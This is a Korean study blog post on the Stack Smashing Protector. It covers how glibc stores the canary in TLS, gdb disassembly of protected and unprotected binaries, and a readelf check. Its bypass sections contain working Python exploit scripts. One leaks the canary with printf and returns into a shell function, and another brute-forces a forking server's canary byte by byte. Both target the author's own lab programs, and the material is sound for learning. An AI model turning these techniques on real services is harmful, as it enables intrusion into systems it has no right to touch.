시스템 해킹/dream hack

[dream hack] SSP

ruming 2021. 2. 28. 04:56

Stack Smashing Protector

 

메모리 커럽션 취약점 중 스택 버퍼 오버플로우 취약점을 막기 위해 개발된 보호 기법.

스택 버퍼와 스택 프레임 포인터 사이에 랜덤 값을 삽입해 함수 종료 시점에서 랜덤 값 변조 여부를 검사함으로써 스택이 망가뜨려졌는지를 확인한다.

 

SSP 보호 기법이 적용되어 있다면 함수에서 스택을 사용할 때 카나리가 생성된다.

마스터 카나리는 main함수가 호출되기 전에 랜덤으로 생성된 카나리를 스레드 별 전역 변수로 사용되는 TLS에 저장한다. TLS 영역은 _dl_allocate_tls_storage 함수에서 __libc_memalign 함수를 호출하여 할당된다.

 

TLS는 tcbhead_t 구조체를 가지는데, 다음과 같은 멤버 변수들이 존재한다.

typedef struct
{
  void *tcb;		/* Pointer to the TCB.  Not necessarily the
			   thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;		/* Pointer to the thread descriptor.  */
  int multiple_threads;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  int gscope_flag;
#ifndef __ASSUME_PRIVATE_FUTEX
  int private_futex;
#else
  int __glibc_reserved1;
#endif
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[4];
  /* GCC split stack support.  */
  void *__private_ss;
} tcbhead_t;

 

security_init

static void
security_init (void)
{
  /* Set up the stack checker's canary.  */
  uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
#ifdef THREAD_SET_STACK_GUARD
  THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
  __stack_chk_guard = stack_chk_guard;
#endif

_dl_setup_stack_chk_guard

void *
internal_function
_dl_allocate_tls_storage (void)
{
  void *result;
  size_t size = GL(dl_tls_static_size);
#if TLS_DTV_AT_TP
  /* Memory layout is:
     [ TLS_PRE_TCB_SIZE ] [ TLS_TCB_SIZE ] [ TLS blocks ]
			  ^ This should be returned.  */
  size += (TLS_PRE_TCB_SIZE + GL(dl_tls_static_align) - 1)
	  & ~(GL(dl_tls_static_align) - 1);
#endif
  /* Allocate a correctly aligned chunk of memory.  */
  result = __libc_memalign (GL(dl_tls_static_align), size);

security_init 함수는 _dl_setup_stack_chk_guard 함수에서 반환한 랜덤 카나리 값을 설정한다.

THREAD_SET_STACK_GUARD 매크로는 TLS 영역의 header.stack_guard에 카나리의 값을 삽입하는 역할을 한다.

#define THREAD_SET_STACK_GUARD(value) \
  THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

 

master1.c

// gcc -o master1 master1.c
#include <stdio.h>
#include <unistd.h>
int main()
{
	char buf[256];
	read(0, buf, 256);
}

256바이트 배열 buf를 할당하고 read 함수를 통해 입력받는 예제

SSP 보호기법 적용

지역변수 사용 → main함수에서 카나리를 삽입하고 검사하는 루틴 존재

 

$ gdb -q ./master1
Reading symbols from ./master1...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x0804846b <+0>:	lea    ecx,[esp+0x4]
   0x0804846f <+4>:	and    esp,0xfffffff0
   0x08048472 <+7>:	push   DWORD PTR [ecx-0x4]
   0x08048475 <+10>:	push   ebp
   0x08048476 <+11>:	mov    ebp,esp
   0x08048478 <+13>:	push   ecx
   0x08048479 <+14>:	sub    esp,0x114
   0x0804847f <+20>:	mov    eax,gs:0x14
   0x08048485 <+26>:	mov    DWORD PTR [ebp-0xc],eax
   ...
End of assembler dump.
(gdb) b *0x08048485
Breakpoint 1 at 0x8048485
(gdb) r
Starting program: /Linux_Exploitation_Mitigation/master1 
Breakpoint 1, 0x08048485 in main ()
(gdb) p/x $eax
$1 = 0x4dc1e800
(gdb) 

0x8048485에 bp를 걸고 eax 레지스터를 보면 카나리 값을 확인할 수 있다. (0x4dc1e800)

 

find 명령어를 통해 마스터 카나리의 위치를 찾아보자.

(gdb) info proc map
process 116985
Mapped address spaces:
	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000        0x0 ~/master1
	 0x8049000  0x804a000     0x1000        0x0 ~/master1
	 0x804a000  0x804b000     0x1000     0x1000 ~/master1
	0xf7dff000 0xf7e00000     0x1000        0x0 
	0xf7e00000 0xf7fb0000   0x1b0000        0x0 /lib/i386-linux-gnu/libc-2.23.so
	0xf7fb0000 0xf7fb2000     0x2000   0x1af000 /lib/i386-linux-gnu/libc-2.23.so
	0xf7fb2000 0xf7fb3000     0x1000   0x1b1000 /lib/i386-linux-gnu/libc-2.23.so
	0xf7fb3000 0xf7fb6000     0x3000        0x0 
	0xf7fd3000 0xf7fd4000     0x1000        0x0 
	0xf7fd4000 0xf7fd7000     0x3000        0x0 [vvar]
	0xf7fd7000 0xf7fd9000     0x2000        0x0 [vdso]
	0xf7fd9000 0xf7ffc000    0x23000        0x0 /lib/i386-linux-gnu/ld-2.23.so
	0xf7ffc000 0xf7ffd000     0x1000    0x22000 /lib/i386-linux-gnu/ld-2.23.so
	0xf7ffd000 0xf7ffe000     0x1000    0x23000 /lib/i386-linux-gnu/ld-2.23.so
	0xfffdd000 0xffffe000    0x21000        0x0 [stack]
(gdb) find 0xf7dff000, +4096, 0x4dc1e800
0xf7dff714
1 pattern found.
(gdb) x/wx 0xf7dff714
0xf7dff714:	0x4dc1e800
(gdb) 

master1 프로세스의 메모리 맵 중 TLS 영역인 0xf7dff000 - 0xf7e00000 의 header.stack_guard에 카나리가 존재하는 것 확인. 이는 gs:0x14를 접근함으로써 참조 가능하다.

 

더보기

(추가) 실습환경을 다시 구성했다.

카나리 값 : 0xc3570d00

 

컴파일러에서 SSP 보호기법을 적용하는 경우 스택 배열을 사용하는 함수가 있으면 함수의 시작 부분과 끝 부분에 ssp.c와 같이 stack_guard 체크 코드가 삽입된다. 

 

no_ssp.c

// gcc -o no_ssp no_ssp.c -m32 -fno-stack-protector
#include <stdio.h>
#include <string.h>
void func(char *s){
    char buf[16] = {};
    strcpy(buf, s);
}
int main(int argc, char *argv[]){
	func(argv[1]);
}

Disassembly of no_ssp

$ gdb -q ./no_ssp
Reading symbols from ./no_ssp...(no debugging symbols found)...done.
(gdb) disas func
Dump of assembler code for function func:
   0x0804840b <+0>:	push   ebp
   0x0804840c <+1>:	mov    ebp,esp
   0x0804840e <+3>:	sub    esp,0x18
   0x08048411 <+6>:	mov    DWORD PTR [ebp-0x18],0x0
   0x08048418 <+13>:	mov    DWORD PTR [ebp-0x14],0x0
   0x0804841f <+20>:	mov    DWORD PTR [ebp-0x10],0x0
   0x08048426 <+27>:	mov    DWORD PTR [ebp-0xc],0x0
   0x0804842d <+34>:	sub    esp,0x8
   0x08048430 <+37>:	push   DWORD PTR [ebp+0x8]
   0x08048433 <+40>:	lea    eax,[ebp-0x18]
   0x08048436 <+43>:	push   eax
   0x08048437 <+44>:	call   0x80482e0 <strcpy@plt>
   0x0804843c <+49>:	add    esp,0x10
   0x0804843f <+52>:	nop
   0x08048440 <+53>:	leave  
   0x08048441 <+54>:	ret   
End of assembler dump.
(gdb) 

 

ssp.c

// gcc -o ssp ssp.c -m32
#include <stdio.h>
#include <string.h>
void func(char *s){
    char buf[16] = {};
    /* 
    long canary = stack_guard; 
    */
    strcpy(buf, s);
    /* 
    if (canary != stack_guard)
        stack_chk_fail();
    */
}
int main(int argc, char *argv[]){
	func(argv[1]);
}

Disassembly of ssp

$ gdb -q ./ssp
Reading symbols from ./ssp...(no debugging symbols found)...done.
(gdb) disas func
Dump of assembler code for function func:
   0x0804846b <+0>:	push   ebp
   0x0804846c <+1>:	mov    ebp,esp
   0x0804846e <+3>:	sub    esp,0x38
   0x08048471 <+6>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08048474 <+9>:	mov    DWORD PTR [ebp-0x2c],eax
   0x08048477 <+12>:	mov    eax,gs:0x14
   0x0804847d <+18>:	mov    DWORD PTR [ebp-0xc],eax
   0x08048480 <+21>:	xor    eax,eax
   0x08048482 <+23>:	mov    DWORD PTR [ebp-0x1c],0x0
   0x08048489 <+30>:	mov    DWORD PTR [ebp-0x18],0x0
   0x08048490 <+37>:	mov    DWORD PTR [ebp-0x14],0x0
   0x08048497 <+44>:	mov    DWORD PTR [ebp-0x10],0x0
   0x0804849e <+51>:	sub    esp,0x8
   0x080484a1 <+54>:	push   DWORD PTR [ebp-0x2c]
   0x080484a4 <+57>:	lea    eax,[ebp-0x1c]
   0x080484a7 <+60>:	push   eax
   0x080484a8 <+61>:	call   0x8048340 <strcpy@plt>
   0x080484ad <+66>:	add    esp,0x10
   0x080484b0 <+69>:	nop
   0x080484b1 <+70>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080484b4 <+73>:	xor    eax,DWORD PTR gs:0x14
   0x080484bb <+80>:	je     0x80484c2 <func+87>
   0x080484bd <+82>:	call   0x8048330 <__stack_chk_fail@plt>
   0x080484c2 <+87>:	leave  
   0x080484c3 <+88>:	ret     
End of assembler dump.
(gdb) 

no_ssp와 달리 ssp에서는 함수의 프롤로그와 에필로그에 스택 카나리 검증 루틴이 추가되었다.

 

두 바이너리에 각각 buf 배열의 사이즈보다 긴 값을 인자로 전달해 bof 취약점을 트리거한다.

$ ./no_ssp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1]    35367 segmentation fault (core dumped)  ./no_ssp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ ./ssp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: ./ssp terminated
[1]    35374 abort (core dumped)  ./ssp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

no_ssp 바이너리 : Segmentation fault 예외가 출력되어 프로그램이 비정상 종료됨.

ssp 바이너리 : __stack_chk_fail 함수가 호출되어 "stack smashing detected" 문자열을 출력하며 프로그램이 종료됨.

 

Bypassing SSP - 1

SSP 보호기법을 우회하기 위해서는 스택 메모리에 존재하는 스택 카나리의 값을 변조시키지 않은 채로 익스플로잇을 해야 한다. 

 

example6.c

// gcc -o example6 example6.c -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
void give_shell(void){
  system("/bin/sh");
}
int main(void){
  
  char buf[32] = {};
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  printf("Input1 : ");
  read(0, buf, 512);
  printf("Your input : %s", buf);
  printf("Input2 : ");
  read(0, buf, 512);
}

main 함수에서 read 함수를 호출할 때, buf의 크기보다 더 큰 크기를 입력받아 스택 버퍼 오버플로우가 두 번 발생한다. 하지만 example6 바이너리에는 SSP가 설정되어 있어 스택 카나리의 값을 알아내지 못한다면 스택 버퍼 오버플로우 취약점만으로는 실행 흐름을 조작할 수 없다.

 

printf("Your input : %s", buf);

%s 포맷 스트링을 이용해 buf 내용을 출력한다.

printf함수의 %s 포맷스트링은 NULL바이트를 만날 때까지 출력해준다.

buf 배열의 끝이 NULL바이트가 아니라면 buf 배열 밖의 메모리까지 출력 가능하다.

 

더보기

leak.c

// gcc -o leak leak.c -m32
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(void){
  char buf[8] = {};
  char secret[16] = {};
  strcpy(secret, "secret message");
  read(0, buf, 10);
  printf("%s\n", buf);
}

 

gdb를 이용해 buf 배열부터 스택 카나리 +1까지의 오프셋을 구한다.

$ gdb -q ./example6
Reading symbols from ./example6...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x0804855e <+0>:	push   ebp
   0x0804855f <+1>:	mov    ebp,esp
   0x08048561 <+3>:	sub    esp,0x24
   0x08048564 <+6>:	mov    eax,gs:0x14
   0x0804856a <+12>:	mov    DWORD PTR [ebp-0x4],eax
   …
   0x080485c0 <+98>:	add    esp,0x4
   0x080485c3 <+101>:	push   0x200
   0x080485c8 <+106>:	lea    eax,[ebp-0x24]
   0x080485cb <+109>:	push   eax
   0x080485cc <+110>:	push   0x0
   0x080485ce <+112>:	call   0x80483e0 <read@plt>
   …
   0x0804860c <+174>:	mov    edx,DWORD PTR [ebp-0x4]
   0x0804860f <+177>:	xor    edx,DWORD PTR gs:0x14
   0x08048616 <+184>:	je     0x804861d <main+191>
   0x08048618 <+186>:	call   0x8048400 <__stack_chk_fail@plt>
   0x0804861d <+191>:	leave  
   0x0804861e <+192>:	ret    
End of assembler dump.
(gdb) b *0x080485ce
Breakpoint 1 at 0x80485ce
(gdb) r
Starting program: ~/example6 
Input1 : 
Breakpoint 1, 0x080485ce in main ()
(gdb) x/3wx $esp
0xffffd528: 0x00000000  0xffffd534  0x00000200
(gdb) x/40wx 0xffffd534
0xffffd534: 0x00000000  0x00000000  0x00000000  0x00000000
0xffffd544: 0x00000000  0x00000000  0x00000000  0x00000000
0xffffd554: 0xc5a20100  0x00000000  0xf7e19637  0x00000001
0xffffd564: 0xffffd5f4  0xffffd5fc  0x00000000  0x00000000
0xffffd574: 0x00000000  0xf7fb3000  0xf7ffdc04  0xf7ffd000
0xffffd584: 0x00000000  0xf7fb3000  0xf7fb3000  0x00000000
0xffffd594: 0x0416aed7  0x389780c7  0x00000000  0x00000000
0xffffd5a4: 0x00000000  0x00000001  0x08048450  0x00000000
0xffffd5b4: 0xf7fee010  0xf7fe8880  0xf7ffd000  0x00000001
0xffffd5c4: 0x08048450  0x00000000  0x08048471  0x0804855e
(gdb) p/x 0xffffd555-0xffffd534
$1 = 0x21
(gdb) 

스택 카나리 +1부터 buf까지의 오프셋은 0x21인 것을 알 수 있다.

 

example6_leak.py

#!/usr/bin/python
'''
example6_leak.py
'''
import struct
import subprocess
import os
import pty
def readline(fd):
  res = ''
  try:
    while True:
      ch = os.read(fd, 1)
      res += ch
      if ch == '\n':
        return res
  except:
    raise
def read(fd, n):
  return os.read(fd, n)
def writeline(proc, data):
  try:
    proc.stdin.write(data + '\n')
    proc.stdin.flush()
  except:
    raise
def write(proc, data):
  try:
    proc.stdin.write(data)
    proc.stdin.flush()
  except:
    raise
def p32(val):
  return struct.pack("<I", val)
def u32(data):
  return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example6", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10) 
write(s, "A"*33)
data = read(out_r, 1024)                    # printing until null byte (containing canary)
print `"[+] data : " + data`
canary = "\x00" + data.split("A"*33)[1][:3] # retrieving canary from data
print "[+] CANARY : " + hex(u32(canary))

스택 카나리의 값을 구하는 파이썬 스크립트

$ python example6_leak.py
Input1 : 
'[+] data : Your input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE\x8b\xa5'
[+] CANARY : 0xa58b4500

카나리 값 출력

구한 카나리 값으로 main 함수의 2번째 read 함수에서 스택 버퍼 오버플로우를 익스플로잇할 수 있다.

 

 

gdb를 이용해 give_shell 함수의 주소를 구한 후 리턴 주소를 give_shell 함수의 주소로 덮어 쉘을 획득한다.

(gdb) p give_shell
$1 = {<text variable, no debug info>} 0x804854b <give_shell>
(gdb) 

 

example6.py

#!/usr/bin/python
'''
example6.py
'''
import struct
import subprocess
import os
import pty
import sys
def readline(fd):
  res = ''
  try:
    while True:
      ch = os.read(fd, 1)
      res += ch
      if ch == '\n':
        return res
  except:
    raise
def read(fd, n):
  return os.read(fd, n)
def writeline(proc, data):
  try:
    proc.stdin.write(data + '\n')
    proc.stdin.flush()
  except:
    raise
def write(proc, data):
  try:
    proc.stdin.write(data)
    proc.stdin.flush()
  except:
    raise
def p32(val):
  return struct.pack("<I", val)
def u32(data):
  return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example6", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10) # "Input1 : "
write(s, "A"*33)
data = read(out_r, 1024)                    # printing until null byte (containing canary)
print `"[+] data : " + data`
canary = "\x00" + data.split("A"*33)[1][:3] # retrieving canary from data
print "[+] CANARY : " + hex(u32(canary))
print read(out_r, 10) # "Input2 : "
giveshell = 0x804854b
payload  = "A"*32 # filling buf
payload += canary
payload += "B"*4 # padding until return address
payload += p32(giveshell)
write(s, payload)
print "[+] get shell"
while True:
  cmd = raw_input("$ ")
  writeline(s, cmd)
  res = read(out_r, 102400)
  sys.stdout.write(res)

example6의 리턴 주소를 give_xhell 함수의 주소인 0x804854b로 바꿔 쉘을 획득하는 파이썬 스크립트

$ python example6.py
Input1 : 
'[+] data : Your input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1b\xf2\x13'
[+] CANARY : 0x13f21b00
Input2 : 
[+] get shell
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)
$

실행 → 쉘 획득

 

Bypassing SSP - 2

ssp_fork1.c

// gcc -o ssp_fork1 ssp_fork1.c -m32
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
        pid_t pid;
        pid = fork(); //fork
        if(pid == -1) { //fork error
                printf("error\n");
        }
        if(pid == 0) { // child
                printf("Im child!\n");
                printf("Process ID : %d\n", getpid());
        }
        else{ //parent
                printf("Im parent!\n");
                printf("Process ID : %d\n", getpid());
        }
}

fork 함수를 사용해 자식 프로세스를 생성하는 코드

fork 함수는 부모 프로세스의 TLS 영역과 스택 메모리 등을 복제해 자식 프로세스를 생성한다. 따라서 부모와 자식 프로세스의 스택 카나리 값은 동일하다.

 

gdb로 ssp_fork1의 부모 프로세스와 자식 프로세스의 카나리 값 확인

 

부모 프로세스

(gdb) set detach-on-fork off
(gdb) set follow-fork-mode parent
(gdb) x/60i main
   0x8048593 <main+125>:	lea    eax,[ebx-0x195f]
   0x8048599 <main+131>:	push   eax
=> 0x804859a <main+132>:	call   0x80483c0 <puts@plt>
(gdb) x/s $eax
0x80486a1:	"Im parent!"
   0x80485bf <main+169>:	mov    edx,DWORD PTR [ebp-0xc]
=> 0x80485c2 <main+172>:	xor    edx,DWORD PTR gs:0x14
(gdb) p $edx
$3 = 0x7812a500

자식 프로세스

(gdb) info thread
  Id   Target Id         Frame
  2.1  process 13253 "test" 0xf7fd5079 in ?? ()
(gdb) thread 2.1
(gdb) x/60i main
   0x8048567 <main+81>:	lea    eax,[ebx-0x197a]
   0x804856d <main+87>:	push   eax
=> 0x804856e <main+88>:	call   0x80483c0 <puts@plt>
(gdb) x/s $eax
0x8048686:	"Im child!"
   0x80485bf <main+169>:	mov    edx,DWORD PTR [ebp-0xc]
=> 0x80485c2 <main+172>:	xor    edx,DWORD PTR gs:0x14
(gdb) p $edx
$14 = 0x7812a500

둘의 스택 카나리 값이 동일하다.

 

ssp_server.c

// gcc -o ssp_server ssp_server.c -m32
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <time.h> 
#define PORT 31337
char *name = "What is your name? ";
char *bye = "See you again.";
char *critical_msg = "THIS_FUNCTION_SHOULD_NOT_BE_CALLED";
void critical(int fd){
    send(fd, critical_msg, strlen(critical_msg), 0);
}
void handler(int fd)
{
    char buf[32] = {};
    send(fd, &fd, 4, 0);
    send(fd, name, strlen(name), 0);
    read(fd, buf, 1024);
    return;
}
int main(void)
{
    int server_fd, new_socket, pid; 
    struct sockaddr_in address; 
    int opt = 1; 
    int addrlen = sizeof(address); 
    char *hello = "Hello from server"; 
       
    // Creating socket file descriptor 
    if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) 
    { 
        perror("socket failed"); 
        exit(EXIT_FAILURE); 
    } 
       
    if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, 
                                                  &opt, sizeof(opt))) 
    { 
        perror("setsockopt"); 
        exit(EXIT_FAILURE); 
    } 
    address.sin_family = AF_INET; 
    address.sin_addr.s_addr = INADDR_ANY; 
    address.sin_port = htons( PORT ); 
       
    if (bind(server_fd, (struct sockaddr *)&address,  
                                 sizeof(address))<0) 
    { 
        perror("bind failed"); 
        exit(EXIT_FAILURE); 
    } 
    if (listen(server_fd, 3) < 0) 
    { 
        perror("listen"); 
        exit(EXIT_FAILURE); 
    }
    while (1)
    {
        if ((new_socket = accept(server_fd, (struct sockaddr *)&address,  
                           (socklen_t*)&addrlen))<0) 
        { 
            perror("accept"); 
            exit(EXIT_FAILURE); 
        }
        pid = fork();
        if (pid == -1)
        {
            perror("fork failed");
            exit(EXIT_FAILURE);
        } 
        else if (pid)
        {
            puts("Socket connected");
            close(new_socket);
        } 
        else
        {
            handler(new_socket);
            send(new_socket, bye, strlen(bye), 0);
            return 0;
        }
    }
    return 0; 
}

fork를 이용한 서버 프로그램

31337번 포트에 TCP 서버를 연 후 클라이언트의 연결이 들어오면 자식 프로세스를 생성한 후 handler 함수를 호출한다. handler 함수에서는 32바이트 버퍼에 1024 바이트의 입력을 클라이언트로부터 받기 때문에 스택 버퍼 오버플로우가 존재한다. 하지만 SSP 보호기법이 적용되어 있어 이를 우회해야 한다.

ssp_server의 부모 프로세스에서는 자식 프로세스의 시그널을 처리하는 루틴이 없기 때문에 자식 프로세스에서 SIGSEGV나 SIGABRT 예외가 발생해도 부모 프로세스는 종료되지 않는다. 만약 handler함수가 정상적으로 리턴된다면 

send(new_socket, bye,strlen(bye),0);

에서 bye 문자열을 출력하고, 스택 카나리 검사가 실패해 자식 프로세스가 SIGABRT 예외로 종료된다면 출력하지 않는다.

 

bye 출력 유무로 스택 카나리 검사를 통과했는지 여부를 알 수 있다는 점과, 새로운 연결로부터 생성된 자식 프로세스와 부모 프로세스의 스택 카나리가 같다는 점을 이용하면 브루트 포싱 공격을 통해 스택 카나리의 값을 한 바이트씩 알아낼 수 있다.

 

ssp_server.py

#!/usr/bin/python
import struct
import socket
import time
def p32(val):
  return struct.pack("<I", val)
def u32(val):
  return struct.unpack("<I", val)[0]
def recvuntil(sock, needle):
  res = ''
  while True:
    res += sock.recv(1)
    if needle in res:
      return res
IP = '127.0.0.1'
PORT = 31337
# First byte of canary is NULL byte
canary = '\x00'
for _ in range(3):
  for i in range(256):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((IP, PORT))
    recvuntil(s, "What is your name? ")
    payload = "A"*0x20
    payload += canary + chr(i)
    s.send(payload)
    res = s.recv(1024)
    if 'See you again.' in res:
      canary += chr(i)
      print `canary`
      s.close()
      break
    s.close()
print `"Stack Canary : " + canary`
CRITICAL_ADDR = 0x080486db 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
client_fd = u32(s.recv(4))
print "client fd : %d"%client_fd
recvuntil(s, "What is your name? ")
payload = "A"*0x20
payload += canary
payload += "B"*0xc
payload += p32(CRITICAL_ADDR)
payload += p32(0xdeadbeef)
payload += p32(client_fd)
s.send(payload)
print `s.recv(1024)`
s.close()

브루트 포싱 공격을 통해 ssp_server의 스택 카나리 값을 알아낸 후 handler 함수의 리턴 주소를 critical 함수의 주소인 0x80486db로 덮어 critical 함수를 호출하는 공격 코드

 

스택 카나리의 상위 3바이트 알아냄

for _ in range(3):
  for i in range(256):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((IP, PORT))
    recvuntil(s, "What is your name? ")
    payload = "A"*0x20
    payload += canary + chr(i)
    s.send(payload)
    res = s.recv(1024)
    if 'See you again.' in res:
      canary += chr(i)
      print `canary`
      s.close()
      break
    s.close()

 

스택 카나리를 알아냄

payload = "A"*0x20
payload += canary
payload += "B"*0xc
payload += p32(CRITICAL_ADDR)
payload += p32(0xdeadbeef)

스택 카나리를 이용해 handler 함수의 리턴 주소를 critical 함수의 주소로 덮는다.

 

client_fd = u32(s.recv(4))

위에서 알아낸 클라이언트의 소켓 파일 디스크립터 client_fd를 critical 함수의 인자로 전달

 

ssp_server.py 실행결과

$ python ssp_server.py
'\x00\x04'
'\x00\x04\xb7'
'\x00\x04\xb7\xdc'
'Stack Canary : \x00\x04\xb7\xdc'
client fd : 4
'THIS_FUNCTION_SHOULD_NOT_BE_CALLED'

critical 함수가 호출되어 critical_msg가 출력됨

 

 

SSP 설정 여부 확인

$ gdb -q ./ssp
Reading symbols from ./ssp...(no debugging symbols found)...done.
(gdb) disas func
Dump of assembler code for function func:
   0x0804846b <+0>:	push   ebp
   0x0804846c <+1>:	mov    ebp,esp
   0x0804846e <+3>:	sub    esp,0x38
   0x08048471 <+6>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08048474 <+9>:	mov    DWORD PTR [ebp-0x2c],eax
   0x08048477 <+12>:	mov    eax,gs:0x14
   0x0804847d <+18>:	mov    DWORD PTR [ebp-0xc],eax
…
   0x080484b4 <+73>:	xor    eax,DWORD PTR gs:0x14
   0x080484bb <+80>:	je     0x80484c2 <func+87>
   0x080484bd <+82>:	call   0x8048330 <__stack_chk_fail@plt>
   0x080484c2 <+87>:	leave  
   0x080484c3 <+88>:	ret     
End of assembler dump.
(gdb) 

ssp가 적용되어 있는 바이너리의 디스어셈블리 결과를 보면 스택 카나리가 변조되었을 때 함수의 에필로그에서 stack_chk_fail 함수를 호출하는 코드를 확인할 수 있다.

 

stack_chk_fail은 표준 라이브러리인 libc.so.6에 존재하는 함수이기 때문에 바이너리에 이 함수의 심볼이 존재하는지 확인하는 것만으로 SSP 적용 여부를 알 수 있다.

 

readelf를 이용해 SSP보호기법의 적용 여부를 확인하는 방법

$ readelf -s ./no_ssp | grep stack_chk_fail
$ readelf -s ./ssp | grep stack_chk_fail
     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (2)
    53: 00000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@@GLIBC_2

no_ssp 바이너리는 stack_chk_fail 심볼이 없고 ssp 바이너리에는 심볼이 존재하는 것을 확인 가능하다.

 

'시스템 해킹 > dream hack' 카테고리의 다른 글

[dream hack] PIE  (0) 2021.02.28
[dream hack] RELRO  (0) 2021.02.28
[dream hack] PLT, GOT Section  (0) 2021.02.27
[dream hack] ASLR  (0) 2021.02.26
[dream hack] NX bit  (0) 2021.02.20